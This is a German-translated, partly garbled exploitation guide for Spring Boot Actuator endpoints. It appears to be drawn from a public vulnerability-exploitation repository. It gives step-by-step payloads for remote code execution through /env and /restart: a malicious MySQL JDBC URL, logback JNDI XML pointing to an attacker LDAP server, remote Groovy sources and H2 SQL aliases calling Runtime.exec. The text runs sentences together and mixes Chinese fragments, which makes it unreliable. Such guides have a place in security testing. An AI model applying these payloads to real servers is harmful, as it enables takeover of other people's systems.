Für die mysql-connector-java 5.x-Version wird der Eigenschaftswert gesetzt auf:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x Version setzt den **Eigenschaftswert** auf:```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Versuchen Sie, auf eine bekannte Schnittstelle der Website für Datenbankabfragen zuzugreifen, z. B. /product/list, oder suchen Sie nach anderen Möglichkeiten, um die ursprüngliche Website aktiv zu einer Datenbankabfrage zu veranlassen, dann wird die Schwachstelle ausgelöst.
Nach Abschluss der Ausnutzung der Deserialisierungsschwachstelle stellen Sie mit der Methode aus Schritt 3 den ursprünglichen value-Wert der in Schritt 1 aufgezeichneten spring.datasource.url wieder her.
spring.datasource.url wird auf eine externe bösartige MySQL-JDBC-URL gesetzt.spring.datasource.url gesetzt.mysql-connector-java-Bibliothek des Zielsystems deserialisiert das konfigurierte Gadget, was zu einer RCE-Schwachstelle führt.Es müssen
spring.datasource.url,spring.datasource.usernameundspring.datasource.passwordinapplication.propertieskonfiguriert werden, um eine ordnungsgemäße Verbindung zur MySQL-Datenbank sicherzustellen. Andernfalls wird das Programm beim Start mit einem Fehler beendet.
Normaler Zugriff:``` http://127.0.0.1:9097/actuator/env
Nach dem Senden des Payloads wird die Schwachstelle ausgelöst:```
http://127.0.0.1:9097/product/list
/env-Schnittstelle der Zielwebsite können Eigenschaften gesetzt werden./restart-Schnittstelle der Zielwebsite kann die Anwendung neu gestartet werden.javax.naming.spi.ObjectFactory implementieren, da es sonst zu einem abnormalen Programmabbruch kommt.Starten Sie auf Ihrem eigenen VPS-Rechner einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Legen Sie eine Datei `example.xml` mit der Endung `xml` im Stammverzeichnis ab. Der tatsächliche Inhalt richtet sich nach dem im Schritt 2 verwendeten JNDI-Dienst:```xml
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
Siehe Artikel, modifiziere JNDIExploit und starte (andere Methoden können ebenfalls verwendet werden):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
##### Schritt 3: Festlegen der Eigenschaft logging.config
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
##### Schritt 4: Anwendung neu starten
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Schwachstellenprinzip:
1. Die Zielmaschine setzt die URL der Logback-Protokollkonfigurationsdatei über die `logging.config`-Eigenschaft.
2. Nach dem Neustart der Anwendung fordert das Programm die URL an, um den Inhalt einer bösartigen XML-Datei zu erhalten.
3. Die Zielmaschine verwendet `saxParser.parse`, um die XML-Datei zu parsen (dies führt zur XXE-Schwachstelle).
4. In der XML-Datei wird das `insertFormJNDI`-Tag der `logback`-Abhängigkeit verwendet, um die Adresse eines externen JNDI-Servers festzulegen.
5. Die Zielmaschine fordert den bösartigen JNDI-Server an, was zu einer JNDI-Injektion führt und eine RCE-Schwachstelle verursacht.
#### Schwachstellenanalyse:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
https://landgrey.me/blog/21/
#### Schwachstellenumgebung:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Normaler Zugriff:```
http://127.0.0.1:9098/actuator/env
/env-Schnittstelle der Zielwebsite Eigenschaften zu setzen/restart-Schnittstelle der Zielwebsite die Anwendung neu zu startenStarten Sie auf Ihrer eigenen VPS-Maschine einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
在根目录放置以 `groovy` 结尾的 `example.groovy` 文件,内容为需要执行的 groovy 代码,比如:```xml
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
Spring 2.x```
POST /actuator/restart
Content-Type: application/json
logging.config fest.ch.qos.logback.classic.util.ContextInitializer.java der Komponente logback-classic wird geprüft, ob die URL auf groovy endet.groovy, wird letztendlich der Groovy-Code im Dateiinhalt ausgeführt, was zu einer RCE-Schwachstelle führt.Normaler Zugriff:``` http://127.0.0.1:9098/actuator/env
### 0x0B: Restart spring.main.sources groovy RCE
#### Nutzungsbedingungen:
- Es kann eine POST-Anfrage an die `/env`-Schnittstelle der Zielwebsite gesendet werden, um Eigenschaften zu setzen.
- Es kann eine POST-Anfrage an die `/restart`-Schnittstelle der Zielwebsite gesendet werden, um die Anwendung neu zu starten.
- ⚠️ Das Ziel muss in der Lage sein, den HTTP-Server des Angreifers zu erreichen (Anfragen müssen das Internet verlassen können), andernfalls führt der Neustart zu einem abnormalen Programmabbruch.
- ⚠️ Wenn der HTTP-Server eine Datei mit fehlerhaftem Groovy-Syntax-Inhalt zurückgibt, führt dies zu einem abnormalen Programmabbruch.
- ⚠️ In der Umgebung muss eine Groovy-Abhängigkeit vorhanden sein, andernfalls führt dies zu einem abnormalen Programmabbruch.
#### Nutzungsmethode:
##### Schritt 1: Groovy-Datei hosten
Starten Sie auf Ihrem eigenen VPS einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443).```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Legen Sie eine auf groovy endende Datei example.groovy im Stammverzeichnis ab, deren Inhalt der auszuführende Groovy-Code ist, zum Beispiel:```xml
Runtime.getRuntime().exec("open -a Calculator")
##### Schritt 2: Festlegen der spring.main.sources-Eigenschaft
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
##### Schritt 3: Anwendung neu starten
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Schwachstellenprinzip:
1. Die Zielmaschine kann über die Eigenschaft `spring.main.sources` die URL-Adresse einer zusätzlichen Quelle zur Erstellung des ApplicationContext festlegen.
2. Nach dem Neustart der Anwendung fordert das Programm die festgelegte URL-Adresse an.
3. Die Code-Logik in der Datei `org.springframework.boot.BeanDefinitionLoader.java` der `spring-boot`-Komponente prüft, ob die URL auf `.groovy` endet.
4. Wenn die URL auf `.groovy` endet, wird der Groovy-Code im Dateiinhalt ausgeführt, was zu einer RCE-Schwachstelle führt.
#### Schwachstellenumgebung:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Normaler Zugriff:```
http://127.0.0.1:9098/actuator/env
/env-Schnittstelle der Zielseite, um Eigenschaften festzulegen, ist möglich/restart-Schnittstelle der Zielseite, um die Anwendung neu zu starten, ist möglichh2database und spring-boot-starter-data-jpa vorhanden seinStarten Sie einen einfachen HTTP-Server auf dem von Ihnen kontrollierten VPS, und verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Lege eine Datei mit einem beliebigen Namen im Stammverzeichnis ab, deren Inhalt der auszuführende H2-SQL-Code ist, zum Beispiel:
> ⚠️ Die Methode 'T5' im obigen Payload kann nur einmal per Restart ausgeführt werden; beim nächsten Restart muss ein neuer Methodenname (z. B. T6) und eine neue SQL-URL-Adresse festgelegt werden, damit sie erneut per Restart verwendet werden kann. Andernfalls führt der zweite Restart (Neustart der Anwendung) zu einem unerwarteten Programmabbruch.```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.data festlegen.org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java der Komponente spring-boot-autoconfigure verwendet die Code-Logik die Methode runScripts, um den h2 database SQL-Code im Inhalt der angeforderten URL auszuführen, was zu einer RCE-Schwachstelle führt.Normaler Zugriff:``` http://127.0.0.1:9098/actuator/env